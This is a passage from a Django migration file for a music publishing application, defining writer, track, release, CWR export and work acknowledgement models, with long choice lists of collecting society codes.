(SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Mechanical rights society')),
('sr_society', models.CharField(blank=True, choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA (ARGENTINA)'), ('65', 'SAYCE (ECUADOR)'), ('84', 'SAYCO (COLOMBIA)'), ('112', 'SAZAS (SLOVENIA)'), ('66', 'SBACEM (BRAZIL)'), ('67', 'SBAT (BRAZIL)'), ('73', 'SCAM (FRANCE)'), ('29', 'SCD (CHILE)'), ('299', 'SCM-COOPERATIVA (CAPE VERDE)'), ('279', 'SDADV (ANDORRA)'), ('259', 'SDCSI (IRELAND)'), ('68', 'SDRM (FRANCE)'), ('71', 'SESAC Inc. (UNITED STATES)'), ('245', 'SETEM (TURKEY)'), ('192', 'SFF (SWEDEN)'), ('199', 'SFP-ZAPA (POLAND)'), ('208', 'SGA (GUINEA-BISSAU)'), ('227', 'SGACEDOM (DOMINICAN REPUBLIC)'), ('72', 'SGAE (SPAIN)'), ('672', 'SGAE-NY (Additional CIS-Net Node)'), ('186', 'SGDL (FRANCE)'), ('318', 'SGS ()'), ('74', 'SIAE (ITALY)'), ('86', 'SICAM (BRAZIL)'), ('262', 'SINEBIR (TURKEY)'), ('134', 'SLPRS (SRI LANKA)'), ('187', 'SNAC (FRANCE)'), ('129', 'SOBODAYCOM (BOLIVIA)'), ('101', 'SOCAN (CANADA)'), ('254', 'SOCILADRA (CAMEROON)'), ('189', 'SOCINPRO (BRAZIL)'), ('25', 'SODAV (SENEGAL)'), ('20', 'SODRAC (CANADA)'), ('137', 'SOFAM (BELGIUM)'), ('70', 'SOGEM (MEXICO)'), ('64', 'SOKOJ (SERBIA AND MONTENEGRO)'), ('155', 'SOMAAP (MEXICO)'), ('224', 'SOMAS (MOZAMBIQUE)'), ('304', 'SONGCODE (UNITED STATES)'), ('190', 'SOPE (GREECE)'), ('85', 'SOZA (SLOVAKIA)'), ('69', 'SPA (PORTUGAL)'), ('146', 'SPAC (PANAMA)'), ('87', 'SPACEM (FRANCE)'), ('191', 'SPACQ (CANADA)'), ('216', 'SQN (BOSNIA AND HERZEGOVINA)'), ('91', 'SSA (SWITZERLAND)'), ('77', 'STEF (ICELAND)'), ('78', 'STEMRA (NETHERLANDS)'), ('79', 'STIM (SWEDEN)'), ('80', 'SUISA (SWITZERLAND)'), ('75', 'SUISSIMAGE (SWITZERLAND)'), ('775', 'Solar EMI (GERMANY/UK)'), ('776', 'Solar Sony (GERMANY/UK)'), ('237', 'TALI (ISRAEL)'), ('143', 'TEATERAUTOR (BULGARIA)'), ('89', 'TEOSTO (FINLAND)'), ('90', 'TONO (NORWAY)'), ('207', "The Author's Registry Inc. (UNITED STATES)"), ('193', 'The Society of Authors (SOA) (UNITED KINGDOM)'), ('140', 'UACRR (UKRAINE)'), ('93', 'UBC (BRAZIL)'), ('115', 'UCMR-ADA (ROMANIA)'), ('194', 'UFFICIO GIURIDICO (HOLY SEE (VATICAN CITY STATE))'), ('206', 'UFW (FINLAND)'), ('282', 'UNAC-SA (ANGOLA)'), ('780', 'UNISON (Spain)'), ('267', 'UPRAVIS (RUSSIAN FEDERATION)'), ('234', 'UPRS (UGANDA)'), ('156', 'VAGA (UNITED STATES)'), ('246', 'VCPMC (VIET NAM)'), ('121', 'VDFS (AUSTRIA)'), ('158', 'VEGAP (SPAIN)'), ('195', 'VEVAM (NETHERLANDS)'), ('95', 'VG WORT (GERMANY)'), ('159', 'VISCOPY (AUSTRALIA)'), ('139', 'VISDA (DENMARK)'), ('269', 'WAMI (INDONESIA)'), ('196', 'WGA (UNITED STATES)'), ('197', 'WGJ (JAPAN)'), ('300', 'WID Centre (UNITED STATES)'), ('97', 'ZAIKS (POLAND)'), ('133', 'ZAMCOPS (ZAMBIA)'), ('136', 'ZAMP - Macédoine (MACEDONIA)'), ('198', 'ZAMP Association of Slovenia (SLOVENIA)'), ('98', 'ZIMURA (ZIMBABWE)'), ('292', 'ZPAP (POLAND)')], max_length=3, null=True, validators=[music_publisher.validators.CWRFieldValidator('pr_society')], verbose_name='Synchronization rights society')),
('ipi_name', models.CharField(blank=True, max_length=11, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('ipi_name')], verbose_name='IPI name #')),
('ipi_base', models.CharField(blank=True, max_length=15, null=True, validators=[music_publisher.validators.CWRFieldValidator('ipi_base')], verbose_name='IPI base #')),
('_can_be_controlled', models.BooleanField(default=False, editable=False)),
('saan', models.CharField(blank=True, help_text='Use this field for general agreements only.\nFor specific agreements use the field in the Work form,\nin Writers In Work section.', max_length=14, null=True, unique=True, validators=[music_publisher.validators.CWRFieldValidator('saan')], verbose_name='Society-assigned general agreement number')),
('generally_controlled', models.BooleanField(default=False, verbose_name='General agreement')),
('publisher_fee', models.DecimalField(blank=True, decimal_places=2, help_text='Percentage of royalties kept by the publisher,\nin a general agreement.', max_digits=5, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)])),
],
options={
'verbose_name': 'Writer',
'verbose_name_plural': 'Writers',
'ordering': ('last_name', 'first_name', 'ipi_name', '-id'),
},
),
migrations.CreateModel(
name='WriterInWork',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('saan', models.CharField(blank=True, help_text='Use this field for specific agreements only.\nFor general agreements use the field in the Writer form.', max_length=14, null=True, validators=[music_publisher.validators.CWRFieldValidator('saan')], verbose_name='Society-assigned specific agreement number')),
('controlled', models.BooleanField(default=False)),
('relative_share', models.DecimalField(decimal_places=2, max_digits=5, verbose_name='Manuscript share')),
('capacity', models.CharField(blank=True, choices=[('CA', 'Composer&Lyricist'), ('C ', 'Composer'), ('A ', 'Lyricist'), ('AR', 'Arranger'), ('AD', 'Adaptor'), ('TR', 'Translator')], max_length=2, verbose_name='Role')),
('publisher_fee', models.DecimalField(blank=True, decimal_places=2, help_text='Percentage of royalties kept by the publisher,\nin a specific agreement.', max_digits=5, null=True, validators=[django.core.validators.MinValueValidator(0), django.core.validators.MaxValueValidator(100)])),
('work', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work')),
('writer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.writer')),
],
options={
'verbose_name': 'Writer in Work',
'verbose_name_plural': 'Writers in Work',
'ordering': ('-controlled', 'writer__last_name', 'writer__first_name', '-id'),
'unique_together': {('work', 'writer', 'controlled')},
},
),
migrations.AddField(
model_name='work',
name='writers',
field=models.ManyToManyField(through='music_publisher.WriterInWork', to='music_publisher.Writer'),
),
migrations.CreateModel(
name='Track',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('cut_number', models.PositiveSmallIntegerField(blank=True, null=True, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(9999)])),
('recording', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='tracks', to='music_publisher.recording')),
('release', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='tracks', to='music_publisher.release')),
],
options={
'verbose_name': 'Track',
'ordering': ('release', 'cut_number'),
'unique_together': {('recording', 'release'), ('release', 'cut_number')},
},
),
migrations.AddField(
model_name='release',
name='recordings',
field=models.ManyToManyField(through='music_publisher.Track', to='music_publisher.Recording'),
),
migrations.AddField(
model_name='release',
name='release_label',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='music_publisher.label', verbose_name='Release (album) label'),
),
migrations.AddField(
model_name='recording',
name='releases',
field=models.ManyToManyField(through='music_publisher.Track', to='music_publisher.Release'),
),
migrations.AddField(
model_name='recording',
name='work',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='recordings', to='music_publisher.work'),
),
migrations.CreateModel(
name='CWRExport',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('nwr_rev', models.CharField(choices=[('NWR', 'CWR 2.1: New work registrations'), ('REV', 'CWR 2.1: Revisions of registered works'), ('WRK', 'CWR 3.0: Work registration (experimental)'), ('ISR', 'CWR 3.0: ISWC request (experimental)')], db_index=True, default='NWR', max_length=3, verbose_name='CWR version/type')),
('cwr', models.TextField(blank=True, editable=False)),
('year', models.CharField(blank=True, db_index=True, editable=False, max_length=2)),
('num_in_year', models.PositiveSmallIntegerField(default=0)),
('description', models.CharField(blank=True, max_length=60, verbose_name='Internal Note')),
('works', models.ManyToManyField(related_name='cwr_exports', to='music_publisher.Work')),
],
options={
'verbose_name': 'CWR Export',
'verbose_name_plural': 'CWR Exports',
'ordering': ('-id',),
},
),
migrations.AddField(
model_name='artistinwork',
name='work',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='music_publisher.work'),
),
migrations.CreateModel(
name='CommercialRelease',
fields=[
],
options={
'verbose_name': 'Commercial Release',
'verbose_name_plural': 'Commercial Releases',
'proxy': True,
'indexes': [],
'constraints': [],
},
bases=('music_publisher.release',),
),
migrations.CreateModel(
name='LibraryRelease',
fields=[
],
options={
'verbose_name': 'Library Release',
'verbose_name_plural': 'Library Releases',
'proxy': True,
'indexes': [],
'constraints': [],
},
bases=('music_publisher.release',),
),
migrations.CreateModel(
name='WorkAcknowledgement',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('society_code', models.CharField(choices=[('226', 'AACIMH (HONDURAS)'), ('253', 'AAS (AZERBAIJAN)'), ('217', 'ABRAC (BRAZIL)'), ('201', 'ABRAMUS (BRAZIL)'), ('288', 'ABYROY (KAZAKHSTAN)'), ('107', 'ACAM (COSTA RICA)'), ('210', 'ACCESS COPYRIGHT (CANADA)'), ('306', 'ACCS (TRINIDAD AND TOBAGO)'), ('103', 'ACDAM (CUBA)'), ('76', 'ACEMLA (PUERTO RICO)'), ('260', 'ACS (UNITED KINGDOM)'), ('1', 'ACUM (ISRAEL)'), ('148', 'ADAGP (FRANCE)'), ('230', 'ADAVIS (CUBA)'), ('2', 'ADDAF (BRAZIL)'), ('250', 'AEI-GUATEMALA (GUATEMALA)'), ('3', 'AEPI (GREECE)'), ('4', 'AGADU (URUGUAY)'), ('289', 'AIPA (SLOVENIA)'), ('122', 'AKKA-LAA (LATVIA)'), ('5', 'AKM (AUSTRIA)'), ('127', 'ALBAUTOR (ALBANIA)'), ('54', 'ALCS (UNITED KINGDOM)'), ('30', 'AMAR (BRAZIL)'), ('12', 'AMCOS (AUSTRALIA)'), ('162', 'AMPAL (AUSTRALIA)'), ('17', 'AMRA (UNITED STATES)'), ('273', 'AMUS (BOSNIA AND HERZEGOVINA)'), ('218', 'ANACIM (BRAZIL)'), ('15', 'APA (PARAGUAY)'), ('7', 'APDAYC (PERU)'), ('163', 'APG-Japan (JAPAN)'), ('8', 'APRA (AUSTRALIA)'), ('164', 'APSAV (PERU)'), ('14', 'ARGENTORES (ARGENTINA)'), ('209', 'ARMAUTHOR NGO (ARMENIA)'), ('320', 'ARMONIA (FRANCE)'), ('149', 'ARS (UNITED STATES)'), ('236', 'ARTEGESTION (ECUADOR)'), ('9', 'ARTISJUS (HUNGARY)'), ('10', 'ASCAP (UNITED STATES)'), ('251', 'ASDACS (AUSTRALIA)'), ('219', 'ASSIM (BRAZIL)'), ('281', 'ATHINA- SADA - S.A.D.A. (GREECE)'), ('220', 'ATIDA (BRAZIL)'), ('141', 'ATN (CHILE)'), ('11', 'AUSTRO-MECHANA (AUME) (AUSTRIA)'), ('275', 'AUTODIAHIRISI (GREECE)'), ('166', 'AUTORARTE (VENEZUELA)'), ('231', 'AUTVIS (BRAZIL)'), ('203', 'AWGACS (AUSTRALIA)'), ('290', 'AZDG (AZERBAIJAN)'), ('202', 'AsDAC (MOLDOVA, REPUBLIC OF)'), ('274', 'AuPO CINEMA (UKRAINE)'), ('45', 'BBDA (BURKINA FASO)'), ('47', 'BCDA (CONGO)'), ('18', 'BGDA (GUINEA)'), ('132', 'BILD-KUNST (GERMANY)'), ('157', 'BILDRECHT GmbH (AUSTRIA)'), ('19', 'BMDA (MOROCCO)'), ('21', 'BMI (UNITED STATES)'), ('125', 'BNDA (NIGER)'), ('151', 'BONO (NORWAY)'), ('238', 'BSCAP (BELIZE)'), ('37', 'BUBEDRA (BENIN)'), ('6', 'BUCADA (CENTRAL AFRICAN REPUBLIC)'), ('23', 'BUMA (NETHERLANDS)'), ('16', 'BUMDA (MALI)'), ('24', "BURIDA (COTE D'IVOIRE)"), ('130', 'BUTODRA (TOGO)'), ('266', 'BeAT (BRUNEI DARUSSALAM)'), ('152', 'Bildupphovsrätt (Visual Copyright Society) (SWEDEN)'), ('168', 'CA (AUSTRALIA)'), ('283', 'CAPASSO (SOUTH AFRICA)'), ('264', 'CARCC (CANADA)'), ('26', 'CASH (HONG KONG)'), ('777', 'CELAS (GERMANY/UK)'), ('108', 'CHA (TAIWAN, CHINESE TAIPEI)'), ('316', 'CIS-Net AVI (FRANCE)'), ('312', 'CISAC (FRANCE)'), ('239', 'CMC (CAMEROON)'), ('88', 'CMRRA (CANADA)'), ('252', 'COLCCMA (TAIWAN, CHINESE TAIPEI)'), ('106', 'COMPASS (SINGAPORE)'), ('169', 'COSCAP (BARBADOS)'), ('124', 'COSOMA (MALAWI)'), ('268', 'COSON (NIGERIA)'), ('223', 'COSOTA (TANZANIA, UNITED REPUBLIC OF)'), ('284', 'COSOZA (ZANZIBAR)'), ('96', 'COTT (TRINIDAD AND TOBAGO)'), ('170', 'CPSN (NEPAL)'), ('171', 'CREAIMAGEN (CHILE)'), ('212', 'CSCS (CANADA)'), ('315', 'CSI (FRANCE)'), ('175', 'CopyRo (ROMANIA)'), ('248', 'DAC (ARGENTINA)'), ('296', 'DACIN-SARA (ROMANIA)'), ('153', 'DACS (UNITED KINGDOM)'), ('142', 'DALRO (SOUTH AFRICA)'), ('240', 'DAMA (SPAIN)'), ('276', 'DASC (COLOMBIA)'), ('293', 'DBCA (BRAZIL)'), ('172', 'DGA (UNITED STATES)'), ('271', 'DHFR (CROATIA)'), ('31', 'DILIA (CZECH REPUBLIC)'), ('173', 'DIRECTORES (MEXICO)'), ('145', 'DIRECTORS UK (UNITED KINGDOM)'), ('310', 'DIVA (HONG KONG)'), ('213', 'DRCC (CANADA)'), ('116', 'EAU (ESTONIA)'), ('308', 'ECAD (BRAZIL)'), ('214', 'ECCO (SAINT LUCIA)'), ('322', 'EVA (BELGIUM)'), ('147', 'FILMAUTOR (BULGARIA)'), ('174', 'FILMJUS (HUNGARY)'), ('32', 'FILSCAP (PHILIPPINES)'), ('222', 'FONOPERU (PERU)'), ('313', 'FastTrack DCN (FRANCE)'), ('261', 'GAI Uz (UZBEKISTAN)'), ('204', 'GCA (former SSA) (GEORGIA)'), ('297', 'GEDAR (BRAZIL)'), ('35', 'GEMA (GERMANY)'), ('635', 'GEMA-US (Additional CIS-Net Node)'), ('301', 'GESAC (BELGIUM)'), ('232', 'GESTOR (CZECH REPUBLIC)'), ('285', 'GHAMRO (GHANA)'), ('778', 'GMR ()'), ('144', 'HAA (CROATIA)'), ('111', 'HDS-ZAMP (CROATIA)'), ('34', 'HFA (UNITED STATES)'), ('154', 'HUNGART (HUNGARY)'), ('319', 'ICE Services AB (SWEDEN)'), ('229', 'ICG (UNITED STATES)'), ('314', 'IDA (FRANCE)'), ('128', 'IMRO (IRELAND)'), ('317', 'INTL-REP (FRANCE)'), ('36', 'IPRS (INDIA)'), ('247', 'IVARO (IRELAND)'), ('176', 'JACAP (JAMAICA)'), ('270', 'JASPAR (JAPAN)'), ('38', 'JASRAC (JAPAN)'), ('109', 'KCI (INDONESIA)'), ('40', 'KODA (DENMARK)'), ('118', 'KOMCA (KOREA, REPUBLIC OF)'), ('138', 'KOPIOSTO (FINLAND)'), ('287', 'KORRA (KOREA)'), ('178', 'KOSA (KOREA, REPUBLIC OF)'), ('179', 'KUVASTO (FINLAND)'), ('177', 'KazAK (KAZAKSTAN)'), ('215', 'Kyrgyzpatent (KYRGYZSTAN)'), ('110', 'LATGA-A (LITHUANIA)'), ('302', 'LATINAUTOR (URUGUAY)'), ('120', 'LIRA (NETHERLANDS)'), ('28', 'LITA (SLOVAKIA)'), ('41', 'LITERAR-MECHANA (AUSTRIA)'), ('309', 'LatinNet (SPAIN)'), ('265', 'MACA (MACAU)'), ('104', 'MACP (MALAYSIA)'), ('105', 'MASA (RMS) (MAURITIUS)'), ('44', 'MCPS (UNITED KINGDOM)'), ('311', 'MCPS-PRS Alliance (UNITED KINGDOM)'), ('119', 'MCSC (CHINA)'), ('43', 'MCSK (KENYA)'), ('22', 'MCSN (NIGERIA)'), ('126', 'MCT (THAILAND)'), ('117', 'MESAM (TURKEY)'), ('307', 'MIS@ASIA (SINGAPORE)'), ('272', 'MOSCAP (MONGOLIA)'), ('258', 'MRCSN (NEPAL)'), ('200', 'MSG (TURKEY)'), ('39', 'MUSICAUTOR (BULGARIA)'), ('707', 'MusicMark (USA)'), ('161', 'MÜST (TAIWAN, CHINESE TAIPEI)'), ('102', 'NASCAM (NAMIBIA)'), ('48', 'NCB (DENMARK)'), ('160', 'NCIP (BELARUS)'), ('241', 'NICAUTOR (NICARAGUA)'), ('181', 'NMPA (UNITED STATES)'), ('303', 'NORD-DOC (SWEDEN)'), ('286', 'ODDA (DJIBOUTI)'), ('291', 'OFA (SERBIA)'), ('33', 'OMDA (MADAGASCAR)'), ('49', 'ONDA (ALGERIA)'), ('298', 'OOA-S (CZECH REPUBLIC)'), ('50', 'OSA (CZECH REPUBLIC)'), ('82', 'OTPDA (TUNISIA)'), ('888', 'PAECOL (Additional CIS-Net Node)'), ('249', 'PAM CG (MONTENEGRO)'), ('182', 'PAPPRI (INDONESIA)'), ('256', 'PICTORIGHT (NETHERLANDS)'), ('51', 'PROLITTERIS (SWITZERLAND)'), ('52', 'PRS (UNITED KINGDOM)'), ('321', 'PUBLISHERS ()'), ('779', 'Polaris Nordic (SCANDINAVIA)'), ('94', 'RAO (RUSSIAN FEDERATION)'), ('294', 'REDES (COLOMBIA)'), ('228', 'ROMS (RUSSIAN FEDERATION)'), ('277', 'RSAU (RWANDA)'), ('278', 'RUR (RUSSIA)'), ('55', 'SABAM (BELGIUM)'), ('221', 'SABEM (BRAZIL)'), ('56', 'SACD (FRANCE)'), ('58', 'SACEM (FRANCE)'), ('758', 'SACEM-LIBAN (Additional CIS-Net Node)'), ('658', 'SACEM-US (Additional CIS-Net Node)'), ('233', 'SACEMLUXEMBOURG (LUXEMBOURG)'), ('235', 'SACENC (FRANCE)'), ('57', 'SACERAU (EGYPT)'), ('242', 'SACIM (EL SALVADOR)'), ('183', 'SACK (KOREA, REPUBLIC OF)'), ('59', 'SACM (MEXICO)'), ('263', 'SACS (SEYCHELLES)'), ('60', 'SACVEN (VENEZUELA)'), ('131', 'SADA (GREECE)'), ('61', 'SADAIC (ARGENTINA)'), ('62', 'SADEMBRA (BRAZIL)'), ('135', 'SADH (GREECE)'), ('243', 'SADIA (ANGOLA)'), ('295', 'SAGCRYT (MEXICO)'), ('225', 'SAIF (FRANCE)'), ('63', 'SAMRO (SOUTH AFRICA)'), ('280', 'SANASTO (FINLAND)'), ('184', 'SARTEC (CANADA)'), ('244', 'SASUR (SURINAME)'), ('257', 'SAVA 